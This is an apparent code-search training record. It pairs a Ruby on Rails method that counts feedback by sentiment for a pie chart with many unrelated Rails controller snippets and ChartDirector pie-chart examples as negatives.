@feedbacks = @idea.get_published_feedbacks.paginate(page: params[:page], per_page: 10)\n respond_to do |format|\n format.js\n format.html\n end\n end", "def index\n @feedback_users = FeedbackUser.all\n end", "def feedback\n @seller = Seller.find(params[:id])\n @feedback = @seller.feedback.find(:all)\n \n respond_to do |format|\n format.html # feedback.rhtml\n format.xml { render :xml => @feedback.to_xml }\n end\n end", "def new\n @feedback = Feedback.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedback }\n end\n end", "def new\n @feedback = Feedback.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedback }\n end\n end", "def new\n @feedback = Feedback.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedback }\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n respond_with(@feedback)\n end", "def show\n @feedback = Feedback.find(params[:id])\n respond_with(@feedback)\n end", "def show\n @feedback = Feedback.find(params[:id])\n respond_with @feedback\n end", "def index\n @feedback_items = FeedbackItem.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feedback_items }\n end\n end", "def filter_feedbacks\n if params[:user_id].present?\n @user = User.find(params[:user_id])\n @feedbacks = @user.my_feedbacks(params[:resonance], params[:search])\n all_user_feedbacks = @user.my_feedbacks\n elsif params[:manager].present? && current_user.is_a?(Manager)\n @feedbacks = current_user.employee_feedbacks(params[:resonance], params[:search])\n all_user_feedbacks = current_user.employee_feedbacks\n else\n @feedbacks = current_user.home_feedbacks(params[:resonance], params[:search])\n all_user_feedbacks = current_user.home_feedbacks\n end\n @feedbacks = @feedbacks.paginate(page: params[:page])\n html = render_to_string(partial: 'feedbacks/index', locals: { feedbacks: @feedbacks })\n resonances = { resonant: all_user_feedbacks.resonant.count.count, mixed: all_user_feedbacks.mixed.count.count, isolated: all_user_feedbacks.isolated.count.count }\n if params[:page]\n respond_to do |format|\n format.js\n end\n else\n respond_to do |format|\n format.json { render json: { feedbacks: html, resonances: resonances } }\n end\n end\n end", "def show\n @team = User.find(@idea.team_ids)\n authorize @feedback.idea\n @feedbacks = @feedback.root_comments.paginate(page: params[:page], per_page: 10)\n end", "def index\n submission = Submission.get_submission_by_group_id_and_assignment_id(\n params[:group_id], params[:assignment_id]\n )\n\n collection = submission.feedback_files\n\n feedback_files = get_collection(collection) || return\n\n respond_to do |format|\n format.xml do\n render xml: feedback_files.to_xml(only: DEFAULT_FIELDS, root: 'feedback_files', skip_types: 'true')\n end\n format.json { render json: feedback_files.to_json(only: DEFAULT_FIELDS) }\n end\n rescue ActiveRecord::RecordNotFound => e\n # Could not find submission\n render 'shared/http_status', locals: { code: '404', message:\n e }, status: :not_found\n end", "def show\n @customer_feedback = CustomerFeedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer_feedback }\n end\n end", "def show\n @customer_feedback = CustomerFeedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer_feedback }\n end\n end", "def show\n @presentation = Presentation.find(params[:id])\n @feedbacks = @presentation.feedbacks\n\n\n end", "def index\n\n \n @feedbacks = Feedback.all\n #@feedbacks = Feedback.find_each(batch_size: 30)\n \n # if current_user_is_admin?\n # @feedbacks = Feedback.all\n # else\n # @feedbacks = Feedback.where('feedbacks.department_id=?',current_user.department_id)\n # end\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @feedbacks }\n end\n end", "def show\n @validated_feedback = ValidatedFeedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @validated_feedback }\n end\n end", "def index \n @feedback = @line_item.feedback\n \n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @feedback.to_xml }\n end\n end", "def show\n @feedback_item = FeedbackItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedback_item }\n end\n end", "def show\n @session = Session.find(params[:id])\n @feedback= @session.feedback\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @session }\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n @comment = Comment.new\n\n respond_to do |format|\n if request.xhr?\n format.html # show.html.erb\n end\n format.json { render json: @feedback }\n end\n end", "def show\n @feedback_form = FeedbackForm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedback_form }\n end\n end", "def index\n @feedback_forms = FeedbackForm.all\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "def recommended_feedbacks\n @user = User.find(params[:user_id])\n @articles = Article.accessibles(current_user).feedbacks_recommended(@user).paginate(page: params[:page], per_page: Article::PER_PAGE) unless @user.blank?\n @more_link_path = more_articles_path(user_id: params[:user_id], page: @articles.next_page, articles_type: Article::List::Type::FEEDBACKS_RECOMMENDED)\n respond_to do |format|\n format.html { render 'articles_by_user' }\n end\n unless @articles.any?\n flash[:alert] = get_resource 'no_article'\n end\n end", "def show\n @resume_feedback = ResumeFeedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @resume_feedback }\n end\n end", "def show\n @feedback_page = FeedbackPage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedback_page }\n end\n end", "def getUsersFeedback *args\n options=fill_args [:username,:userid,:type],[],*args\n if options[:username]==nil && options[:userid]==nil\n raise \"Username or userid is required\"\n end\n if options[:username]!=nil && options[:userid]!=nil\n raise \"Both username and userid is not allowed\"\n end\n request \"/User/getUserFeedback.json\",options\n end", "def index\n @talk_suggestions = TalkSuggestion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @talk_suggestions }\n end\n end", "def receive\n feedbacks = []\n while f = client.feedback\n feedbacks << f\n end\n return feedbacks\n end", "def index\n @feedback_replies = FeedbackReply.all.paginate(page: params[:page], :per_page => 20)\n end", "def index\n @talk_comments = TalkComment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @talk_comments }\n end\n end", "def index\n if session[:user_id]\n @current_user = User.find(session[:user_id])\n if @current_user.is_admin\n @feedbacks = Feedback.all\n else\n @feedbacks = Feedback.where('email=?', @current_user.email)\n end\n else\n flash[:notice] = \"Please login to view your feedback.\"\n redirect_to login_path\n end\n \n end", "def index\n if params[:topic_id]\n lessons = Lesson.where( topic_id: params[:topic_id] )\n else\n lessons = Lesson.all\n end\n\n respond_to do |format| \n format.html { }\n format.js { }\n format.json { render json: lessons }\n end\n end", "def index\n @feedbacks = Feedback.all\n @topics = Topic.all\n\n for topic in @topics\n if @topicstats\n @topicstats = @topicstats + [[FeedbackItem.where(:topic_id => topic.id).sum(:position).to_f / @feedbacks.length, FeedbackItem.where(:topic_id => topic.id).sum(:percentage).to_f / @feedbacks.length, topic.id]]\n else\n @topicstats = [[FeedbackItem.where(:topic_id => topic.id).sum(:position).to_f / @feedbacks.length, FeedbackItem.where(:topic_id => topic.id).sum(:percentage).to_f / @feedbacks.length, topic.id]]\n end \n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @feedbacks }\n end\n end", "def index\n @user_feedback_notes = UserFeedbackNote.all\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feedback }\n end\n end", "def create\n @feedback = Feedback.new(feedback_params)\n\n if @feedback.save\n render json: @feedback, status: :created\n else\n render json: @feedback.errors, status: :unprocessable_entity\n end\n end", "def show\n @feedback_short = FeedbackShort.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedback_short }\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feedback }\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feedback }\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feedback }\n end\n end", "def index\n @comments = DiscussionComment.all\n render json: @comments\n end", "def get_feedback\n @title_page = 'Feedback'\n\n params.each { |question, answer| $game.quiz.user_answer << answer.to_i }\n\n $game.player.score = ($game.quiz.number_corrects * 100) / $game.quiz.question_answer.length\n @feedback = $game.player.score\n\n @questions = $game.quiz.questions\n @user_answer = $game.quiz.user_answer\n\n erb :feedback, layout: :template\nend", "def index\n @participant_ratings = ParticipantRating.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @participant_ratings }\n end\n end", "def index\n @talks = Talk.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @talks }\n end\n end", "def index\n @feedbacks = Feedback.paginate(:page=> params[:page], :per_page => 15, :conditions => {:parent_id => nil})\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feedbacks }\n end\n end", "def new\n @title = t('view.feedbacks.new_title')\n @feedback = @lesson.feedbacks.build(default_args)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedback }\n end\n end", "def load_feedbacks\n feedbacks = Walmart.get_feedbacks_for self.name\n\n feedbacks.each do |f|\n self.reviews.create! :text => f\n end\n end", "def feedback_received(assignment)\n feedback = assignment.feedbacks.where(:receiver_id => self.user_id)\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @feedback.to_xml }\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @feedback.to_xml }\n end\n end", "def new\n @customer_feedback = CustomerFeedback.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_feedback }\n end\n end", "def show\n @purchase_feedback = PurchaseFeedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchase_feedback }\n end\n end", "def all_topics\n topics = Feed.find(params[:feed_id]).topics\n render :json => topics\n end", "def friend_requests\n friends = current_user.friends.where accepted: false\n profiles = friends.map{ |friend| Profile.find(friend.profile_id)}\n render json: profiles\n end", "def index\n @chats = Chat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @chats }\n end\n end", "def create\n @feedback = Feedback.new(feedback_params)\n\n respond_to do |format|\n if @feedback.save\n format.html { redirect_to action: \"index\", notice: 'Feedback was successfully created.' }\n format.json { render :show, status: :created, location: @feedback }\n else\n format.html { render :new }\n format.json { render json: @feedback.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @questions }\n end\n end", "def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end", "def index\n @course = Course.find(params[:course_id])\n @team = @course.teams.find(params[:team_id])\n @assignment = Assignment.find(params[:assignment_id])\n @feedbacksgiven = @assignment.feedbacks.all.where(:giver_id => current_user.user_id)\n @points_allowed = (@team.users.count - 1) * 20\n @points = @feedbacksgiven.map(&:rating).inject{|sum,x| sum + x }\n if @points.nil?\n @points = 0\n end\n @feedbacksreceived = @assignment.feedbacks.all.where(:receiver_id => current_user.user_id)\n end", "def twubbles\n @sad_tweets = WordTweet.recent_sad_tweets\n respond_to do |f|\n f.json { render :json => twubbles_json(@sad_tweets) }\n f.html\n end\n end", "def index\n @chats = Chat.all\n render json: {\n messages: \"Request Successfull!\",\n is_success: true,\n data: { chats: @chats }\n }\n end", "def index\n #@lessons = Lesson.all\n @lessons = @course.lessons.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @lessons }\n end\n end", "def index\n @discussions = Discussion.includes(:user)\n .order('updated_at DESC')\n .paginate(page: params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @discussions }\n end\n end", "def index\n render status: :ok, json: @simple_question_alternatives\n end", "def create\n \n @feedback = Feedback.new(params[:feedback])\n \n respond_to do |format|\n if @feedback.save\n format.html { redirect_to @feedback, notice: 'Feedback was successfully created.' }\n format.json { render json: @feedback, status: :created, location: @feedback }\n else\n format.html { render action: \"new\" }\n format.json { render json: @feedback.errors, status: :unprocessable_entity }\n end\n end\n end", "def feedback_params\n params.fetch(:feedback, {})\n end", "def index\n @talk_categories = TalkCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @talk_categories }\n end\n end" ]
[ "0.7826549", "0.77483714", "0.729931", "0.7205469", "0.7205469", "0.7205469", "0.7205469", "0.7205469", "0.7205469", "0.7205469", "0.7205469", "0.7204222", "0.71323884", "0.71269554", "0.71092725", "0.71042246", "0.7046424", "0.6971945", "0.69489086", "0.69489086", "0.69489086", "0.69489086", "0.69489086", "0.69489086", "0.69142395", "0.6913142", "0.6898117", "0.6825662", "0.6825662", "0.6667345", "0.6503305", "0.6420637", "0.6399925", "0.6385741", "0.637708", "0.637708", "0.637708", "0.63659674", "0.63659674", "0.6339587", "0.6287001", "0.6282509", "0.6244514", "0.6182831", "0.6180927", "0.6180927", "0.6108533", "0.6107912", "0.6106855", "0.61062276", "0.60908294", "0.608913", "0.6080012", "0.60745984", "0.6072348", "0.6067581", "0.6043135", "0.60431063", "0.6034792", "0.6023407", "0.60179526", "0.60075146", "0.5991376", "0.598629", "0.5967499", "0.59670454", "0.5932684", "0.59281504", "0.591807", "0.5914676", "0.59081507", "0.5901362", "0.5901362", "0.5901362", "0.5836479", "0.58276916", "0.5823496", "0.5820425", "0.5814713", "0.5806753", "0.57852286", "0.57840425", "0.5783374", "0.5783374", "0.57687", "0.5749683", "0.5737974", "0.57258946", "0.57215625", "0.5718193", "0.57155895", "0.57053757", "0.57009363", "0.57004327", "0.5692638", "0.56878567", "0.56805867", "0.56773514", "0.5667894", "0.5659453", "0.565761" ]
0.0
-1
Function to Initialize PieChart details .
def getPieChartDetails # Query the Table to perform the average netscore calcuations based on selections in combobox sentimentarray=[1,2] @piechartPositive =Feedback.count(:all, :conditions => ["created_at >= ? and created_at <= ? and branch_id IN (?) and sentiment_id IN (?)",@fromdate.beginning_of_day,@todate.end_of_day,@branchlistquery,sentimentarray]) sentimentarray=[4,5] @piechartNegative =Feedback.count(:all, :conditions => ["created_at >= ? and created_at <= ? and branch_id IN (?) and sentiment_id IN (?)",@fromdate.beginning_of_day,@todate.end_of_day,@branchlistquery,sentimentarray]) sentimentarray=[3] @piechartNeutral =Feedback.count(:all, :conditions => ["created_at >= ? and created_at <= ? and branch_id IN (?) and sentiment_id IN (?)",@fromdate.beginning_of_day,@todate.end_of_day,@branchlistquery,sentimentarray]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def getchart()\n # The data for the pie chart\n data = [21, 18, 15, 12, 8, 24]\n\n # The labels for the pie chart\n labels = [\"Labor\", \"Licenses\", \"Taxes\", \"Legal\", \"Facilities\", \"Production\"]\n\n # The colors to use for the sectors\n colors = [0x66aaee, 0xeebb22, 0xbbbbbb, 0x8844ff, 0xdd2222, 0x009900]\n\n # Create a PieChart object of size 600 x 360 pixels.\n c = ChartDirector::PieChart.new(600, 360)\n\n # Use the white on black palette, which means the default text and line colors are\n # white\n c.setColors(ChartDirector::whiteOnBlackPalette)\n\n # Use a vertical gradient color from deep blue (000066) to blue (0000cc) as\n # background. Use rounded corners of 20 pixels radius. Enable soft drop shadow.\n c.setBackground(c.linearGradientColor(0, 0, 0, c.getHeight(), 0x000066, 0x0000cc))\n c.setRoundedFrame(0xffffff, 20)\n c.setDropShadow()\n\n # Add a title using 18 pts Times New Roman Bold Italic font. Add 16 pixels top\n # margin to the title.\n c.addTitle(\"Exploded Pie Chart Demonstration\", \"timesbi.ttf\", 18).setMargin2(0, 0,\n 16, 0)\n\n # Set the center of the pie at (300, 195) and the radius to 110 pixels\n c.setPieSize(300, 195, 110)\n\n # Set the pie data and the pie labels\n c.setData(data, labels)\n\n # Set the sector colors\n c.setColors2(ChartDirector::DataColor, colors)\n\n # Use local gradient shading for the sectors, with 5 pixels wide semi-transparent\n # white (bbffffff) borders\n c.setSectorStyle(ChartDirector::LocalGradientShading, 0xbbffffff, 5)\n\n # Use the side label layout method\n c.setLabelLayout(ChartDirector::SideLayout)\n\n # Use 10pt Arial Bold as the default label font. Set the label box background\n # color the same as the sector color. Use soft lighting effect with light\n # direction from right. Use 8 pixels rounded corners.\n t = c.setLabelStyle(\"arialbd.ttf\", 10, 0x000000)\n t.setBackground(ChartDirector::SameAsMainColor, ChartDirector::Transparent,\n ChartDirector::softLighting(ChartDirector::Right, 0))\n t.setRoundedCorners(8)\n\n # Set the sector label format. The label is centered in a 110 pixels wide bounding\n # box. It consists of two lines. The first line is the sector name. The second\n # line shows the data value and percentage.\n c.setLabelFormat(\n \"<*block,halign=center,width=110*>{label}\\n<*font=arial.ttf,size=8*>US$ \" \\\n \"{value}M ({percent}%)<*/*>\")\n\n # Explode all sectors 10 pixels from the center\n c.setExplode(-1, 10)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def getchart()\n # The data for the pie chart\n data = [21, 18, 15, 12, 8, 24]\n\n # The labels for the pie chart\n labels = [\"Labor\", \"Licenses\", \"Taxes\", \"Legal\", \"Facilities\", \"Production\"]\n\n # The colors to use for the sectors\n colors = [0x66aaee, 0xeebb22, 0xbbbbbb, 0x8844ff, 0xdd2222, 0x009900]\n\n # Create a PieChart object of size 600 x 320 pixels. Use a vertical gradient color\n # from light blue (99ccff) to white (ffffff) spanning the top 100 pixels as\n # background. Set border to grey (888888). Use rounded corners. Enable soft drop\n # shadow.\n c = ChartDirector::PieChart.new(600, 320)\n c.setBackground(c.linearGradientColor(0, 0, 0, 100, 0x99ccff, 0xffffff), 0x888888)\n c.setRoundedFrame()\n c.setDropShadow()\n\n # Add a title using 18 pts Times New Roman Bold Italic font. Add 16 pixels top\n # margin to the title.\n c.addTitle(\"Pie Chart With Legend Demonstration\", \"timesbi.ttf\", 18).setMargin2(0,\n 0, 16, 0)\n\n # Set the center of the pie at (160, 165) and the radius to 110 pixels\n c.setPieSize(160, 165, 110)\n\n # Draw the pie in 3D with a pie thickness of 25 pixels\n c.set3D(25)\n\n # Set the pie data and the pie labels\n c.setData(data, labels)\n\n # Set the sector colors\n c.setColors2(ChartDirector::DataColor, colors)\n\n # Use local gradient shading for the sectors\n c.setSectorStyle(ChartDirector::LocalGradientShading)\n\n # Use the side label layout method, with the labels positioned 16 pixels from the\n # pie bounding box\n c.setLabelLayout(ChartDirector::SideLayout, 16)\n\n # Show only the sector number as the sector label\n c.setLabelFormat(\"{={sector}+1}\")\n\n # Set the sector label style to Arial Bold 10pt, with a dark grey (444444) border\n c.setLabelStyle(\"arialbd.ttf\", 10).setBackground(ChartDirector::Transparent,\n 0x444444)\n\n # Add a legend box, with the center of the left side anchored at (330, 175), and\n # using 10 pts Arial Bold Italic font\n b = c.addLegend(330, 175, true, \"arialbi.ttf\", 10)\n b.setAlignment(ChartDirector::Left)\n\n # Set the legend box border to dark grey (444444), and with rounded conerns\n b.setBackground(ChartDirector::Transparent, 0x444444)\n b.setRoundedCorners()\n\n # Set the legend box margin to 16 pixels, and the extra line spacing between the\n # legend entries as 5 pixels\n b.setMargin(16)\n b.setKeySpacing(0, 5)\n\n # Set the legend box icon to have no border (border color same as fill color)\n b.setKeyBorder(ChartDirector::SameAsMainColor)\n\n # Set the legend text to show the sector number, followed by a 120 pixels wide\n # block showing the sector label, and a 40 pixels wide block showing the\n # percentage\n b.setText(\n \"<*block,valign=top*>{={sector}+1}.<*advanceTo=22*><*block,width=120*>\" \\\n \"{label}<*/*><*block,width=40,halign=right*>{percent}<*/*>%\")\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def get_grafico_anuncio_categoria\n\n obj1 = categoria_percent\n\n return @h = LazyHighCharts::HighChart.new('pie') do |f|\n f.chart({:defaultSeriesType=>\"pie\" , :margin=> [30, 70, 0, 70]} )\n series = {\n :type=> \"pie\",\n :name=> 'Percentagem de Anuncios por categoria',\n :data=> obj1\n }\n f.series(series)\n f.options[:title][:text] = \"Percentagem de anuncios por categoria\"\n f.legend(:layout=> 'vertical',:style=> {:left=> 'auto', :bottom=> 'auto',:right=> '50px',:top=> '100px'}) \n f.plot_options(:pie=>{\n :allowPointSelect=>true, \n :cursor=>\"pointer\" , \n :dataLabels=>{\n :enabled=>true,\n :color=>\"white\",\n :style=>{\n :font=>\"13px Trebuchet MS, Verdana, sans-serif\",\n :width => \"50px\",\n :height => \"50px\" \n }\n }\n })\n end\n end", "def piechart(*args)\n Pie.new(self, *args)\n end", "def initialize(options = {}, &block)\n super(options)\n\n # Allow for population of data with a block during initialization.\n if block\n block.call(self)\n else\n # Otherwise, just iterate over the points, adding the slices\n if @points.class == Hash\n @points.keys.each {|k|\n self.add :pie_slice, k.to_s, [@points[k]]}\n end\n if @points.class == Array\n @points.each {|v|\n self.add :pie_slice, '', [v]}\n end\n end\n end", "def piechart (synonym_id, type)\n synonym = Synonym.find(synonym_id)\n if type == @@GENDER\n stats = synonym.get_visual_stats_gender\n header = t(:stats_gender)\n elsif type == @@COUNTRY\n stats = synonym.get_visual_stats_country\n header = t(:stats_country)\n elsif type == @@AGE\n stats = synonym.get_visual_stats_age\n header = t(:stats_age)\n else\n stats = synonym.get_visual_stats_education\n header = t(:stats_education)\n end\n chart = LazyHighCharts::HighChart.new('pie') do |f|\n f.chart({:defaultSeriesType=>\"pie\" , :margin=> [0, 10, 150,25], :width => 157, :hieght => 50} )\n series = {\n :type=> 'pie',\n :name=> 'Browser share',\n :borderWidth => 0.7,\n :data=> stats\n\n }\n f.series(series)\n f.options[:title][:text] = header\n f.options[:title][:x] = 0\n\n f.legend(:layout=> 'vertical',:style=> {:left=> '0px', :bottom=> '0px',:right=> '0px',:top=> '0px'}) \n f.plot_options(:pie=>{\n :allowPointSelect=>true, \n :cursor=>\"pointer\" ,\n :size =>'100%', \n :dataLabels=>{\n :enabled=>false,\n :color=>\"black\",\n :style=>{\n :font=>\"13px Trebuchet MS, Verdana, sans-serif\"\n }\n }\n })\n end\n end", "def bake_pie\n chart = PiCharts::Pie.new\n chart.add_dataset(label: \"cats\", data: 80)\n chart.add_dataset(label: \"dogs\", data: 50)\n chart.hover\n chart.responsive\n \"<head>\" + chart.cdn + \"</head>\" + \"<body>\" + chart.html(width: 100) + \"</body>\"\nend", "def get_grafico(obj,tipo_grafico)\n\n return @h = LazyHighCharts::HighChart.new('pie') do |f|\n f.chart({:defaultSeriesType=>tipo_grafico , :margin=> [50, 200, 60, 170]} )\n series = {\n :type=> tipo_grafico,\n :name=> 'Media de precos dos anuncios',\n :data=> obj,\n\n }\n f.series(series)\n\n f.options[:title][:text] = \"Preco por categoria\"\n\n f.legend(:layout=> 'vertical',:style=> {:left=> 'auto', :bottom=> 'auto',:right=> '50px',:top=> '100px'}) \n f.plot_options(:pie=>{\n :allowPointSelect=>true, \n :cursor=>\"pointer\" , \n :dataLabels=>{\n :enabled=>true,\n :color=>\"white\",\n :style=>{\n :font=>\"13px Trebuchet MS, Verdana, sans-serif\"\n }\n }\n })\n end\n end", "def getchart()\n # The data for the pie chart\n data = [25, 18, 15, 12, 8, 30, 35]\n\n # The labels for the pie chart\n labels = [\"Labor\", \"Licenses\", \"Taxes\", \"Legal\", \"Insurance\", \"Facilities\",\n \"Production\"]\n\n # Create a PieChart object of size 360 x 300 pixels\n c = ChartDirector::PieChart.new(360, 300)\n\n # Set the center of the pie at (180, 140) and the radius to 100 pixels\n c.setPieSize(180, 140, 100)\n\n # Add a title to the pie chart\n c.addTitle(\"Project Cost Breakdown\")\n\n # Draw the pie in 3D\n c.set3D()\n\n # Set the pie data and the pie labels\n c.setData(data, labels)\n\n # Explode the 1st sector (index = 0)\n c.setExplode(0)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def getchart()\n # The data for the pie chart\n data = [72, 18, 15, 12]\n\n # The depths for the sectors\n depths = [30, 20, 10, 10]\n\n # The labels for the pie chart\n labels = [\"Sunny\", \"Cloudy\", \"Rainy\", \"Snowy\"]\n\n # The icons for the sectors\n icons = [\"sun.png\", \"cloud.png\", \"rain.png\", \"snowy.png\"]\n\n # Create a PieChart object of size 400 x 310 pixels, with a blue (CCCCFF) vertical\n # metal gradient background, black border, 1 pixel 3D border effect and rounded\n # corners\n c = ChartDirector::PieChart.new(400, 310, ChartDirector::metalColor(0xccccff, 0),\n 0x000000, 1)\n c.setRoundedFrame()\n\n # Set directory for loading images to current script directory\n c.setSearchPath(File.dirname(__FILE__))\n\n # Set the center of the pie at (200, 180) and the radius to 100 pixels\n c.setPieSize(200, 180, 100)\n\n # Add a title box using 15 pts Times Bold Italic font, on a blue (CCCCFF)\n # background with glass effect\n c.addTitle(\"Weather Profile in Wonderland\", \"timesbi.ttf\", 15).setBackground(\n 0xccccff, 0x000000, ChartDirector::glassEffect())\n\n # Set the pie data and the pie labels\n c.setData(data, labels)\n\n # Add icons to the chart as a custom field\n c.addExtraField(icons)\n\n # Configure the sector labels using CDML to include the icon images\n c.setLabelFormat(\n \"<*block,valign=absmiddle*><*img={field0}*> <*block*>{label}\\n{percent}%\" \\\n \"<*/*><*/*>\")\n\n # Draw the pie in 3D with variable 3D depths\n c.set3D2(depths)\n\n # Set the start angle to 225 degrees may improve layout when the depths of the\n # sector are sorted in descending order, because it ensures the tallest sector is\n # at the back.\n c.setStartAngle(225)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def basic_chart\n \n end", "def get_grafico_precos_medios_cat\n\n obj1 = avg_price_categoria\n\n return @h = LazyHighCharts::HighChart.new('pie') do |f|\n f.chart({:defaultSeriesType=>\"bar\" ,type: 'column',renderTo: 'container', :margin=> [10, 100, 60, 100]} )\n series = {\n :type=> 'column',\n :name=> 'Media de precos por categoria',\n :data=> obj1\n }\n f.series(series)\n f.options[:title][:text] = \"Preco por categoria\"\n f.options[:xAxis] = {\n\n :title => { :text => \"categorias\" },\n :labels => { :enabled => false }\n }\n f.legend(:layout=> 'vertical',:style=> {:left=> 'auto', :bottom=> 'auto',:right=> '50px',:top=> '50px'}) \n f.plot_options(:pie=>{\n :allowPointSelect=>true, \n :cursor=>\"pointer\" , \n :dataLabels=>{\n :enabled=>true,\n :color=>\"white\",\n :style=>{\n :font=>\"13px Trebuchet MS, Verdana, sans-serif\",\n :width => \"250px\",\n :height => \"150px\" \n }\n }\n })\n end\n end", "def getchart()\n # Data for outer ring\n data = [88, 124, 96]\n\n # Data for inner ring\n data2 = [77, 87, 45]\n\n # Labels for the sectors\n labels = [\"Hardware\", \"Software\", \"Services\"]\n\n # Colors for the sectors\n colors = [0xff9999, 0x9999ff, 0x66ff66]\n\n #\n # Create the main chart, which contains the chart title, the outer ring, and the\n # legend box\n #\n\n # Create a PieChart object of size 450 x 360 pixels, with transparent background\n c = ChartDirector::PieChart.new(450, 360)\n\n # Add a title to the chart with 18pts Times Bold Italic font\n c.addTitle(\"Concentric Donut Chart\", \"timesbi.ttf\", 18)\n\n # Set donut center at (160, 200), and outer/inner radii as 150/100 pixels\n c.setDonutSize(160, 200, 150, 100)\n\n # Add a label at the bottom-right corner of the ring to label the outer ring Use\n # 12pts Arial Bold Italic font in white (ffffff) color, on a green (008800)\n # background, with soft lighting effect and 5 pixels rounded corners\n t = c.addText(260, 300, \" Year 2006 \", \"arialbi.ttf\", 12, 0xffffff)\n t.setBackground(0x008800, ChartDirector::Transparent, ChartDirector::softLighting(\n ))\n t.setRoundedCorners(5)\n\n # Set the legend box at (320, 50) with 12 pts Arial Bold Italic font, with no\n # border\n c.addLegend(320, 50, true, \"arialbi.ttf\", 13).setBackground(\n ChartDirector::Transparent, ChartDirector::Transparent)\n\n # Set the pie data and the pie labels\n c.setData(data, labels)\n\n # Set the pie colors\n c.setColors2(ChartDirector::DataColor, colors)\n\n # Set pie border color to white (ffffff)\n c.setLineColor(0xffffff)\n\n # Set pie label to value in $###M format, percentage in (##.#%) format, in two\n # lines.\n c.setLabelFormat(\"${value}M<*br*>({percent|1}%)\")\n\n # Use 10pts Airal Bold for the sector labels\n c.setLabelStyle(\"arialbd.ttf\", 10)\n\n # Set the label position to -25 pixels from the sector (which would be internal to\n # the sector)\n c.setLabelPos(-25)\n\n #\n # Create the inner ring.\n #\n\n # Create a PieChart object of size 280 x 320 pixels, with transparent background\n c2 = ChartDirector::PieChart.new(280, 320, ChartDirector::Transparent)\n\n # Set donut center at (110, 110), and outer/inner radii as 100/50 pixels\n c2.setDonutSize(110, 110, 100, 50)\n\n # Add a label at the center of the ring to label the inner ring. Use 12pts Arial\n # Bold Italic font in white (ffffff) color, on a deep blue (0000cc) background,\n # with soft lighting effect and 5 pixels rounded corners\n t2 = c2.addText(110, 110, \" Year 2005 \", \"arialbi.ttf\", 12, 0xffffff,\n ChartDirector::Center)\n t2.setBackground(0x0000cc, ChartDirector::Transparent,\n ChartDirector::softLighting())\n t2.setRoundedCorners(5)\n\n # Set the pie data and the pie labels\n c2.setData(data2, labels)\n\n # Set the pie colors\n c2.setColors2(ChartDirector::DataColor, colors)\n\n # Set pie border color to white (ffffff)\n c2.setLineColor(0xffffff)\n\n # Set pie label to value in $###M format, percentage in (##.#%) format, in two\n # lines.\n c2.setLabelFormat(\"${value}M<*br*>({percent|1}%)\")\n\n # Use 10pts Airal Bold for the sector labels\n c2.setLabelStyle(\"arialbd.ttf\", 10)\n\n # Set the label position to -25 pixels from the sector (which would be internal to\n # the sector)\n c2.setLabelPos(-25)\n\n # merge the inner ring into the outer ring at (50, 90)\n 